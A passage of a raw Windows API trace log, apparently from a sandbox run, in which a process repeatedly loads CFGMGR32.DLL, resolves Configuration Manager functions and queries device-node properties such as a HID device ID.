GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.931] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.932] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.933] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.933] malloc (_Size=0x18) returned 0x196ef0d1e60 [0228.933] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0228.933] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0228.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x694e9ee3, dwHighDateTime=0x1d9eb0c)) [0228.933] SetEvent (hEvent=0x248) returned 1 [0228.985] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.986] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.989] malloc (_Size=0x18) returned 0x196ef0d1d00 [0228.989] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0228.989] malloc (_Size=0x48) returned 0x196ef0fb540 [0228.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x69582629, dwHighDateTime=0x1d9eb0c)) [0228.990] SetEvent (hEvent=0x248) returned 1 [0228.994] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.997] malloc (_Size=0x18) returned 0x196ef0d1b40 [0228.997] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.998] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0228.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69582629, dwHighDateTime=0x1d9eb0c)) [0228.998] SetEvent (hEvent=0x248) returned 1 [0229.003] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.003] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.007] malloc (_Size=0x18) returned 0x196ef0d1de0 [0229.007] CM_Get_Device_IDA (in: dnDevInst=0x2e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_1532&PID_0102\\6&377ACEB1&0&0000") returned 0x0 [0229.007] malloc (_Size=0x48) returned 0x196ef0fc120 [0229.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x695a88cb, dwHighDateTime=0x1d9eb0c)) [0229.007] SetEvent (hEvent=0x248) returned 1 [0229.010] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.010] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.012] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.013] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.014] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0229.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.014] malloc (_Size=0x124) returned 0x196ef0d67b0 [0229.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0229.015] free (_Block=0x196ef0d67b0) [0229.015] malloc (_Size=0x48) returned 0x196ef0fbae0 [0229.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x695a88cb, dwHighDateTime=0x1d9eb0c)) [0229.015] SetEvent (hEvent=0x248) returned 1 [0229.017] malloc (_Size=0x18) returned 0x196ef0d1d60 [0229.017] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.017] free (_Block=0x196ef0d1d60) [0229.018] malloc (_Size=0x18) returned 0x196ef0d1a20 [0229.018] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.018] free (_Block=0x196ef0d1a20) [0229.018] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.018] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.018] free (_Block=0x196ef0d1e60) [0229.018] malloc (_Size=0x18) returned 0x196ef0d1e80 [0229.018] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.018] free (_Block=0x196ef0d1e80) [0229.018] malloc (_Size=0x18) returned 0x196ef0d1a80 [0229.018] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.018] free (_Block=0x196ef0d1a80) [0229.018] malloc (_Size=0x18) returned 0x196ef0d1980 [0229.018] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0229.019] free (_Block=0x196ef0d1980) [0229.019] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0229.019] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0229.019] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.019] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.019] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0229.019] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0229.019] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.019] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0229.019] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28a8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.021] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f28c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.021] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0229.021] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0229.022] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.022] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.025] malloc (_Size=0x18) returned 0x196ef0d1a80 [0229.025] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.025] malloc (_Size=0x4) returned 0x196ef0d6ce0 [0229.026] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6ce0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6ce0, pulLength=0x67117d608) returned 0x0 [0229.026] free (_Block=0x196ef0d6ce0) [0229.026] malloc (_Size=0x48) returned 0x196ef0fc170 [0229.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x695cea9d, dwHighDateTime=0x1d9eb0c)) [0229.026] SetEvent (hEvent=0x248) returned 1 [0229.081] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.081] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.082] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.084] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0229.084] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2e, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.088] malloc (_Size=0x48) returned 0x196ef0fbae0 [0229.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69667353, dwHighDateTime=0x1d9eb0c)) [0229.088] SetEvent (hEvent=0x248) returned 1 [0229.091] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.091] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.093] GetProcAddress 